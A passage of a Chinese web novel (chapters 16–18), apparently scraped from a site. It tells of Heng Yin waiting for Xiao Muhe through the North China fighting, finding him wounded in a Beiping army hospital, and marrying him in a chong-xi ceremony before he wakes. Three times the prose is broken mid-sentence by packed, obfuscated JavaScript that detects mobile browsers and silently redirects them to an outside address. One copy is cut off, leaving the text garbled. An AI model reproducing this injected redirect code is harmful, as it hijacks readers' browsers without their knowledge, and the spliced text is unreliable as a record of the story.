后来她才辗转得知,她上午前脚被带走,消息便不知怎么给传了出去,后脚金陵那就打电话来把厅长臭骂一顿,李青上课不见姮音,又联系到了在上海认知的傅灵毓,他大约也动了气。虽然傅灵毓无法直接约束北平的警察厅,可是他早死的老子人脉广,政府高官多少给他几分薄面,加上警察厅这事本来也做的不光彩,一通电话再次追至警察厅。 接连两番来自上头的斥责,警察厅赶忙放了人,只求息事宁人,索性没有学生受伤,这才不了了之。 16. 第十六章 华北战乱不休,米面贵的不行,粮店前的队伍每次都排得老长,却一直有人送来成袋的米面放在家门口,敲门后却走了,姮音站在门口四下张望,却不见人影。她们家只有两口人,接连松了几次,就够她们生活。 姮音猜到应该是萧牧河的安排,可是他一直没有消息,姮音去过他的大宅子,开门的是位头发花白的老管家。 听她问起萧牧河的事,年过半百的老管家也愁眉苦脸,浓浓的金陵口音,“小姐您问我,我问哪个去哟?以前还能有个信函回来,吩咐事情,现在也没信回来,我们也是急得很。” 她在萧宅坐了片刻,听着老人说了些往年旧事,说少爷如何如何,话里话外,他已然做了最坏的打算。她没再多问,道了谢就离开了。 姮音只好等着,路过报摊的时候,她就买回来有战事小报的,上面登了些语焉不详的战讯,时真时假,虚虚实实,姮音不懂其中的门道,就都买了回去,把有关战事的报道都剪下来贴在本子上。 这次规模很大,很焦灼。姮音只能知道一点零星,还是很落后的消息,但是就算是很明显的假消息,也可以看出战线拉得很长,仗打得极惨烈,死伤惨重,北面的兵不够,就从南边抽调,听老师说,柳玉声的先生也去山东那了,萧牧河的弟弟也想参军,但因为年龄不够,所以没有批准他去前线。 姮音等待着,等待着,一个月以后,两个月以后,还是没有他的消息,马上快放寒假了。 北平初雪。 姮音依旧等待着,外头兵荒马乱,消息隔绝,他杳无音讯,周围的人,连萧府的人都要以为他死了,不约而同似的,都用心照不宣的悲悯对待她,好像她已经成了萧牧河未过门的遗孀,可是姮音还是固执地以为,萧牧河一定会活下去。 外头渐渐有了些闲话。萧家少爷一去数月,怕是凶多吉少,原本订下的亲,在许多人眼里,就是个无头婚事。也有人不识趣,寻上门来,上门要和她议亲。姮音生得好看,从来不缺求亲的人,但是她不愿意。 是个大商人,约莫三十上下年纪,由个惯会说媒拉纤的婆子引着,提了礼物登门来访,王兰不好拒绝,就先让人进来喝个茶。 商人话里话外,绕着弯子打听姮音的事,说她这般品貌人才,总不能白白误了青春,还有什么如今世道虽乱,生意还是能勉强做下去,家中也算薄有资财,断不会委屈了小姐的混账话。 姮音听得火大,劈头盖脸给他赶了出去,文人骂起来话,那可是尖锐的很,商人尴尬的很,但心中觉得姮音没了依靠,就说要下次再来,却又生怕姮音再说出什么更难听的话来,逃一样从她家跑了。那是王兰第一次见到姮音发火。 她觉得姮音还是年轻,活在世上,总要现实一些,风往哪里吹,人就往哪里走。 可是姮音却不觉得。 寻常人养个狸猫,猫儿对人亲昵,撒娇耍宝,为了讨好人就事事依着人来,姮音又不是什么冷心的人,自然也会心软,更何况她们马上要订婚了,猫儿跑出家,人也会找一找,更何况一个活生生的人。 萧牧河是生是死,姮音都要等一个结果,她不想要不明不白地分开。 有天,老管家找到她,说是金陵来了信,是司令的,姮音拆开,却是说如果萧牧河死了,她可以拿着礼金改嫁。 姮音不愿意,老管家不忍看她煞白的脸色,说:“这是少爷自己的心愿。” 姮音摇头,“这算什么心愿?我不信。他会回来的。” 老管家也没再说什么,她和少爷一样,都是有自己坚持的人,旁人说再多也没办法动摇。也怪不得他们两个能走到一起,有时候,缘分大约就是天定吧。 雪天夹着雨,北平城阴沉沉的。 都说华北战事歇了,大获全胜。 卖报的小童奔跑叫喊着号外,街上的人欢呼雀跃,姮音撑着伞,茫然地看着周围的人在开心,这意味着很长时间内,都会有一段和平时期,不会再有牺牲,许多人能活着回来。 姮音本该沿着街边回家的,可是她招了一辆黄包车,去了萧府,管家开门,再次站在萧家的大门前时,她的心情不由自主焦急起来。 老管家来开门把她迎进去,他见到是姮音,似乎并不意外,“小姐是为着前方的消息来的吧?” 姮音说:“胜利了,那他有信了吗?” 他知道姮音是为什么而来的,他知道情况多么差,萧牧河去的地方,仗打得最是惨烈,后来清理战场,许多尸体根本辨认不出来身份,伤员在惨无人道的轰炸时转移到了天津,还未全部确认身份,活下来的人就像他走的时候说的一样,九死一生,只有一成的人幸存。可是又不忍心把话说死,就说:“凶多吉少啊” 姮音勉强笑着说:“那就是还有希望。” 或许,寒冷的天气总是难熬的。 回家后,姮音做了噩梦,她没见过什么血腥场面,最多过年的时候帮妈妈处理拔了毛的鸡,可是梦里却全是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389873|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残躯和断肢,鲜血从红色变作褐色,又凝固成了黑色。敌人的飞机从头顶飞过,轰隆隆作响,姮音本来还害怕地蜷缩着,却在硝烟中见到了躲在柱子后的萧牧河,他无力地靠在那,身上全是血,枪却还握在手中,高度警惕着。 突然,飞机投下炸弹,切断了姮音的梦。 姮音醒来后,才发现自己一直在哭,两只眼睛肿得和核桃一样,去学校上课也心不在焉的。 午后课间,她正靠在廊上走神,李青从政治主任的办公室走出来,朝她招了招手,姮音提了提心情,赶紧走过去。 进门前李青对她说:“有个电话打到学校来,是北平陆军医院的,要寻萧牧河的家属,你快进去吧。” 她走进办公室,听筒搁在桌上,她拿起听筒贴到耳边,手抖得不成样子。 “喂?” 另一头是个男声:“是东方小姐么?萧牧河上校现已转至北平陆军医院,伤势较重,情况不甚乐观,院方通知家属前来探望,您看您什么时候能到?” 姮音抓着电话:“好,好,我这就来,这就来。” 挂了电话,姮音喜极而泣,能活着回来就好,活着就有希望。她哭着向李青请了假,李青抱抱她,安慰道:“快去吧。” 姮姮音赶紧下楼了,外面飘雪,姮音撑着伞,来到医院,紧张得两脚发软,走到病房门口,隐约看到床上的轮廓,伞从手里滑下去,她捂着胸口,多少天的紧张和等待从眼眶落下,她两只手捂着脸,压着声音大哭。 护士走过来,递给姮音一张照片。 姮音抹去眼泪,接过照片,看清了照片上的人。这是她刚上女校拍的,留在学校档案里。这张照片被烧了一角,但还能看清,这张青涩的面容是姮音。 护士说:“从他军装内袋里找到的,上头根据查了许久,才确认是您,他的父母在金陵,路途太远,只好先请您来。” 姮音心中百感交集,她把照片装到口袋,问她:“他现在怎么样了?” 护士说:“情况很难说,弹片的位置不好,失血过多,又染了炎症,运气好的话能恢复过来,稍有不慎就会恶化的。” 姮音走到病床前,弯腰看着他的脸。 黑了,瘦了,脸颊凹陷下去,脸上很多细小的伤口,额角和颧骨贴着纱布,脖子上和病号服领口下都缠着厚厚的绷带。血气被药味压了下去,好像刚从药缸里捞出来。 她坐在病床边,拿出自己的照片,看了很久。 17. 第十七章 萧牧河底子结实,在鬼门关前转了几天,终于捡回一条命。虽然还昏睡不醒,但不会面临忽然恶化死去的风险,医生也说,最危险的关口算是过了。 姮音心下稍安,这日放了学回来,老远就看到自家小院门前堵着几个大箱子,两个伙计正与妈妈在门前说话,姮音过去问是发生了什么,妈妈说:“阿音,你来得正好,萧府差人送了这些来,他们左右等不到你,就让人把物件搬进去,可咱们这儿,哪还有地方搁得下呢。” 老管家听见姮音的声音,从院里走出来,“小姐,这些都是府里按旧例备下的,原是等少爷回来再操办,可如今老爷夫人已动身北上来瞧少爷,不日就到北平了。这些物事只好先送过来,委屈小姐暂且收着。” 姮音脑袋聪明,听他提及老爷太太夫人,又是这种阵仗,有了几分猜测。她问道:“他们此番来,是为着探望萧牧河的伤势吧?” 问老管家老爷太太来这里是看望萧牧河吗?老管家说,不全是,,姮音点头,她们还没订婚呢,就要见家长了。 老管家摸了摸胡须,说:“探望少爷自然是头等大事,可也不全是,但是这话我说了不好,等他们来了小姐你就知道了,总归是喜事的。” 姮音也不再多问。心里却明白,这婚约估计要提前坐实。他们刚才下了帖子,倒要先见长辈了,按照旧时候的习俗,喜帖到了手上,其实就已经算是定下婚约,他们也不算是仓促。 三日后,金陵来的专列抵达北平站。 萧司令携夫人来了北平,姮音作为萧牧河的未婚妻,代替昏睡的萧牧河去火车站接人,早早就等在站外。 人群中挺拔的中年男人很醒目,他虽然上了年纪,但是依稀能看出他和萧牧河在五官上有相似之处,不难看出他年轻的时候也是俊朗的,身边是位紫绒大衣的妇人,瞧着三十上下的年纪,比他年轻很多,也是比萧牧河大不了多少,应该不是他的亲生母亲。 旁边还跟着个青年,看着十七八岁,和姮音年纪相仿。和萧牧河还有他们家的老管家闲聊的时候,姮音知道他们家里有个小儿子,叫做萧牧清,吵吵嚷嚷大半年,去军校上学了,学的还是飞行专业。 他们身后有穿着便装,但是难掩气质的几个人跟着,应该是负责保护萧司令的。 妇人一眼就看到了姮音,他们在金陵就拿到了姮音的照片,看到真人了更觉和老三相配,她含笑招手唤她近前,语气亲热:“这就是阿音吧,真是个好孩子,难为你还特地来接我们。” “老爷夫人你们好。”姮音打过招呼,青年很爽快,笑嘻嘻地就喊了一声:“嫂子!” 青年自我介绍,说:“我叫萧牧清,家里行四,以后也是你弟弟了。” 萧夫人看了司令一眼,又瞪着自己的小儿子,让他别那么跳脱,他三哥还在医院里躺着呢,他在这里嘻嘻哈哈喊嫂子好,真不怕挨揍。 姮音也和萧牧清打招呼:“你好。” 萧司令打量着她,谈不上热络,却不算挑剔,看不出满意还是不满意,只道:“先去医院吧。” 北平军部这边派了专车,把他们送到医院,萧司令见到躺着的萧牧河,抄起凳子就要揍他,他凶狠的气势把姮音吓了一跳,下意识拉着床尾,想给他拉开,但好在他只是唬人,没真的要砸下去。 萧夫人和萧牧清赶紧一边一个拦住他,萧司令摔了凳子,狠狠咳了两声,姮音发现他看起来身体不大好,只是因为身形挺拔,神情凌厉,硬撑着架势,才不觉得他身体不好。 萧司令大骂萧牧河:“你个孽障!老子把你调离前线,你还非要去拼命,非要往死人堆里钻!你们这些孽子,让我萧家绝了后才好呢!” 姮音拦也不是,不拦也不是,萧司令忽然对姮音说:“你确实是好孩子,我这次来也是主持你们的婚礼。” 夫人犹豫道:“其实现在西医很好的,不用非得冲喜,更何况这孩子也是读书人,恐怕不会接受这种方式,您要不再考虑一番?” 姮音却说:“我愿意,如果有用得到我的地方,我也好帮忙。” 萧司令叹气,望着自己寄予厚望的儿子,又说:“即使他不再有权有势,只是个寻常病汉,你也愿意?” 姮音说:“我愿意。” 旁边的二人都有些震惊于,姮音干脆地答应了司令的要求。或许大家都以为姮音也深爱着萧牧河,其实并不是,姮音是个好人,她善良,忠诚,有情有义,有血有肉,萧牧河对她赤诚,她也会同等地回报他,仅此而已。 这年头,离婚的虽然少,但也不是没有,就算以后她和萧牧河不适合了,缘分尽了,大不了就分开。起码现在,姮音不该在他受伤的时候退却,她也相信,会在上战场前,特意来她家门口,诉说心意的萧牧河,不会在她病重的时候,弃她而去。 因为相信,所以她要追随自己的心。 姮音回到家,将萧家欲提前完婚的事与妈妈说了。王兰也知道这是冲喜的意思,她只问姮音:“你心里真不觉得委屈?” 姮音摇头:“一点也不,我们早先本就定了名分,喜帖也到了,虽然仓促了些,但是不妨碍。” 王兰叹了口气:“你既想明白了,那就行,好在都在北平城里,离得不远,往后想家了,随时回来住几日就是。” 姮音笑着对妈妈说:“我从来都不会走远,妈妈只要想我了,我什么时候都会回来的,我永远都是妈妈的女儿呀。” 王兰心想,她的心愿已经完成了,她嫁给了一个能待她好的人家,再也不会平白受人欺负,可是她还是不舍,就是姮音嘴巴甜,哄得人心里也暖和,不舍的情绪也冲淡了。 萧牧河被接回萧府那天,北平是难得一见的大雪天,萧府却是一片灼目的红。门口挂着对火红的龙凤灯笼,垂下的流苏在风雪中摇曳。门楣,窗户和柱子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晚上的时候,屋外是大雪和唱戏的声音。萧府花重金请了戏班子,要唱三天三夜。戏台上的曲子,隔着几重院落,咿咿呀呀,幽幽咽咽飘过来,仿佛说什么前朝旧事。 姮音独坐在新房里,案上两支龙凤喜烛烧得旺,烛泪落下,烛台斑驳,萧牧河盖着大红鸳鸯被,还在沉沉睡着。 桌子上摊开几本大部头和讲义,姮音捏着笔,就着烛光,正在稿纸上奋笔疾书。嫁衣早已换下,只穿一身大红绸缎睡袍,套着件保暖的藕色夹袄,凤冠已经卸去,乌黑的发髻边只簪着一支小小的金步摇,免得头发散落。 身后的床上忽然传来一声闷哼。 姮音赶紧去看,萧牧河艰难地从被子里伸出一只手,摁着要炸的额头,他好好睡着哪个来唱戏呢,锣鼓声简直要吵死了。 渺茫得如同隔世,却又听得真切。 什么,相逢何必曾相识…… 什么,几回魂梦与君同…… 雪夜红烛,凄清婉转,像是谶语,像是经年的梦,一字一句敲在人的魂魄上。 萧牧河被这唱词惊扰,吸了口气,费力地掀开眼皮,视线涣散了片刻,才渐渐聚焦,茫然地望向帐顶纹,又艰难地转向烛火方向,却看到了一身红妆,口涂胭脂的姮音,他呢喃道:“我是死了吗?” 是因为杀了不少日本鬼子积了功德吗,竟然还能在阴曹地府和心上人完婚,也不枉走这一遭了。 18. 第十八章 他神智尚未清明,只觉他的新娘子美得像是仙女下凡,愈发笃定自己已经死透了。 姮音嗔他:“你别说这么丧气的话。” 她笑起来,红唇弯弯,乌黑鬓发边的金步摇轻轻摇曳着,她踩着红绣鞋跑出去,哗啦一声拉开房门,喊萧府的人:“萧牧河醒了!他醒了!” 这一下全府上下都惊动了,不过片刻功夫,院里就灯火通明。老管家领着住在府中的大夫赶来,身后跟着披衣起身的萧司令与夫人,连那位二少爷萧牧清也揉着眼睛跟了进来。她们的婚房里一下全是乌泱泱的人。 大夫上前仔细诊脉,半晌点点头,起身对萧司令拱手道:“司令放心,少爷脉象虽仍虚弱,但人已经清醒,就再没什么难关,往后好生将养,假以时日,虽然不能像以前那样,但好在保住了一条命。” 满屋子人听了大夫的话,都是长舒一口气,又不约而同看向床边站着的新娘子,萧夫人甚至双手合十喊了声阿弥陀佛。 原先府里上下,虽按旧例操办了这冲喜的婚事,心里却大多不信真能给萧牧河弄醒。此刻眼见着昏迷多时的人竟真的苏醒过来,偏偏还是在这新夫人过门的当夜,很难不将两件事想到一处去,这下都以为是因为萧牧河和姮音的真情感动天地,所以他才好转的。 姮音知道不过是巧合罢了,也不好当着许多人的面解释,就由他们去了。 萧牧河混沌的神思渐渐清明,满室的红烛,红绸和囍字,桌子上还摆着红枣花生桂圆和莲子,再看看自己和姮音身上的喜服,傻子都知道今天是大喜之日,也顿时明白了家人打得什么主意,简直就是荒谬。 他冲萧司令吼道:“你们简直荒唐,我还没醒呢,为什么背着我?你们就这样把我抬进喜堂?这算什么?!” 他真是快气死了。 萧牧河挣扎着要撑起身子,手臂却虚软无力,腹部的伤口被牵扯,刺骨的疼让他脸色瞬间变得苍白,姮音赶紧扶了一把,她的柔软的触碰让萧牧河的脸色很是奇妙,白里透着红,红里透着白,额头也满是汗水。 一旁的大夫忙上前按住他肩头:“少爷你可别动气,伤口刚开始愈合些,仔细崩裂了!” 萧司令知道他的心意,他把萧牧河动情之态看在眼中,反而嘲弄道:“怎么?八抬大轿抬进门的媳妇,拜了天地高堂,如今你醒了,不认账了?想反悔?把你的新娘子扔回去?你舍得?” 萧牧河悄悄看姮音一眼,姮音和他对视,两人都很害羞。姮音用手蹭了蹭脸,萧牧河是转着眼神满世界找水喝,他忽然就觉得很口渴,眼神兜了一圈,却又盯着姮音,问她:“他没强迫你嫁给我吧?” 姮音轻声道:“没有,我愿意的。” 萧牧河又白了萧司令一眼,像个大爷一样躺下了,浑然是要和他老子赌气似的。 萧司令见他这般,哼笑一声:“既如此,你好生歇着吧,有什么事,明日再说也不迟。” 说完,他领着众人退了出去。 屋子里只剩下他和姮音,胳膊贴着胳膊,挨得很近,姮音站起来给他倒了杯水,萧牧河就着她的手勉强喝了几口,又半死不活躺着了,昏昏沉沉,望着姮音去看讲义,写作业了,觉得很幸福,又睡着了。 次日醒来,姮音从隔间相连的小屋走出来,那是他的书房,也是姮音第一次相亲的时候,他让她洗脸,给她毛巾的地方。姮音穿着校服,外头裹了件朱红的棉袄, 她走到床边,对萧牧河说:“说我还得上学,你好好养着,有什么事就叫人,千万别忍着。” 半年前她懵懂又天真,现在她依旧像是不谙人事的样子,萧牧河有些懊恼,自己在怎么就在新婚之夜醒了过来,要是能赶上拜堂的话,还能看到姮音穿嫁衣的样子。 要是自己醒得晚,他还能顺理成章,重新再操办一次,偏偏还就是在新婚之夜醒过来了,过了祖宗礼法,他捏着鼻子也得认。 其实按照他的幻想,他希望能和傅青琅一样,在礼堂办西式的婚礼,因为姮音是个文化人,她读的书多,比起规矩一箩筐的旧式婚礼,她或许会更喜欢更简化的新式婚礼,结果全程自己就躺在那,什么都没参与。 萧牧河感觉到身体的孱弱,但是错过大半自己的婚事,更让他深感遗憾。 这三天,萧府的人百般顺着他,就连一向调皮的萧牧清都乖的不行,他现在也是军校生,快到寒假,提前请假来的北平,每天都要缠着萧牧河问:“哥,你究竟怎么认识嫂子的?说说嘛!” 萧牧河被问得烦了,就指着门,说:“滚出去。” 姮音回到学校,先去办公室找李青。 李青正批改课业,听姮音说了重伤的萧牧河昨晚醒了过来,有惊无险,她哭笑不得,说:“我原还担心你要请几日假,不想你倒准时来了,这都不能耽误你上学。” 姮音她笑得有些不好意思:“我是嫁人的,他们家不是聘我做佣人,也不是让我做大夫,我守着也没什么用。” “说的有道理。”李青又提起了阮月眉她们,“月眉和阿玉都很牵挂你的情况,你们婚礼提前办了,她们刚打算准备贺礼,都没来得及送你。” 姮音说:“太客气了,怎好再叫她们破费,等萧牧河好些,我们再正经请她们吃顿饭,算是补上礼数。” 李青看了眼墙上的钟表,说:“不过你说一切都好,那就放心了,快上课了,你去吧。” 下午课业没课,姮音回到萧府。老管家正等着她,他对姮音说:“少夫人,司令在偏厅要见你。” 姮音跟着他往偏厅去。萧司令独自坐在着,穿着长衫,手里夹着烟卷,像一个寻常人。姮音恭敬地喊了声:“老爷。” 萧司令将烟按灭,说:“你和牧河一样,喊我爹好了。” 姮音从善如流,改口道:“爹,您叫我有什么事?” 萧司令问道:“你是读书人,我想听听你说,以后会是个什么光景?” 姮音没料到他问这个,谨慎答道:“我只是学生,见识短浅,不敢对天下事有所评判,只信一点,乱局终有尽时,不管是几年,还是几十年,总会有和平盛世那一天,人人吃饱穿暖,国家富强,再无战争。” 萧司令点了下头:“你能这样想,那我就放心了。” 姮音不明所以。 他继续说:“我晓得你嫁进来,并非小儿女情长,一时冲动,也晓得你品性端正,不会因他前程有变,便心生轻视。世上种种缘分,父母子女,兄弟手足,哪个缘分都浅,大多无法陪伴一生,你能和他一起,很好,我很放心。” 姮音心中触动,不过他们的家事,自己也不好说什么。 萧司令顿了顿,又道:“牧河这孩子,性子要强,从前在军校成绩好,事事要争个先,一向以用命挣下来的军功为骄傲,现在以他的身体,再回不去战场了,他必定心中受挫,望你好好开导他。” 姮音说:“我一定会的。” 萧司令点头,起身离开了偏厅。 姮音忙着期末考试的同时,经常在宅子里翻书,也观察着萧牧河,他总是躺着,静静地望着上方,他从没开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389875|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问过自己的伤势,大夫来换药诊脉时,他也只沉默地配合,大有把生死置之度外的淡然,安静地过了头,姮音一次都没看过他落寞的样子。 有时候萧司令开完会回来探望他,两个人还会干起来。他们说不上几句便要起争执,吃了枪药似的,萧夫人早就习惯了,他们吵架又不动真格的,劝一劝就跑到一边躲着,姮音开始也着急,后头也学乖了,和萧夫人一起躲着。 萧牧河仗着自己重伤在身,根本不怕萧司令揍他,虽躺着不能动,势头却不减,专拣他老子不爱听的说。萧司令回回被气得吹胡子瞪眼,作势要打,可见儿子虚弱得和拔了毛的公鸡一样,又恨恨放下,拂袖而去。 如果姮音是来看望自己,萧牧河还会给姮音说萧司令的坏话,说他专断,说他没有人情味,说他手段毒,都说虎毒不食子,好几次萧牧河违逆他,差点被打断了腿。 姮音要是坐在床畔读书,萧牧河也好奇她读得什么,非要她念给自己听,姮音捧着书,念叨着之乎者也,眼皮子就要打架,待他睡着,姮音就捧着脸盯着他睡觉的样子瞧。 萧牧河在她面前,总是刻意收敛着自己强势的一面,甚至有时幼稚的像个小孩,但他自己讲起来某些往事,比如他在军校里和人打架,就算要被处罚,打个头破血流都得做赢的那方,比如他在军队里,管教不听话的新兵,动不动就会拔枪,骂他们不服管教就趁早滚蛋,还有他不愿意参与派系斗争,只想好好琢磨打仗,姮音都能从中看到他冷硬的侧影。 和面对姮音时的样子差别太大,姮音没法想象那是个什么样子。 或许本就是因为姮音看起来娴静,文化又高,和她说话时不自觉就会轻声细语起来。 萧夫人就待姮音很亲厚,她喜欢姮音,会和她一同出门,去北平的老友家里坐坐,向别人骄傲地介绍自己的儿媳妇可是在华京大学就读的文化人。 她性子活泼,爱说爱笑,喜欢絮絮叨叨地讲话,一路挽着姮音的胳膊,能从北平的枣泥糕,说到苏州的莲子羹。 夫人和她一起到胡同里做客,两个女人坐在堂屋里吃茶,姮音在一旁陪着。说着说着,发觉两人原是苏州同乡,老家只隔着一道水道,离得很近呢。王兰就像看到了亲妹妹一样,非常喜欢这位夫人,问起故乡的吃食和旧景,满是对少女时光的怀念。 萧司令离开北平之前,两个女人经常一起说话,她见王兰身子单薄,独自住在小院里,劝她搬来大宅子里,也好有人照顾,王兰却拒绝了,说在家里住习惯,不好挪地方。 在萧宅,夫人对姮音说起过萧牧河的生母,也就是萧司令的原配夫人。 她说:“牧河的母亲,是个极刚烈的性子,那年队伍被打散了,她落了单,叫敌人掳了去,点了身上的炸药,炸死了许多鬼子。” 姮音记得萧牧河的哥姐死了,却没想还有这一桩事,夫人继续说:“老爷和原配夫人留下的三个孩子,牧河上头还有一个哥哥,一个姐姐。哥哥打仗的时候折了,姐姐做地下工作,叫人出卖,死得惨,如今就剩牧河一个,老爷嘴上不说,心里头却难受,这才特意来了北平。” 恰好萧牧清在外头的空地上堆雪人。初长成的青年穿着厚厚的棉袍,戴着他哥的貂皮帽子,自娱自乐玩得很开心,时不时还发出笑声。 萧夫人笑着说:“阿清这孩子,也闹着要考军校,我不想他去,拦过,劝过,还是拗不过他。” 姮音想安慰她,夫人却很豁达,或者是,没办法的办法,只能让自己看开了,她只笑着说了句,“人各有命吧。”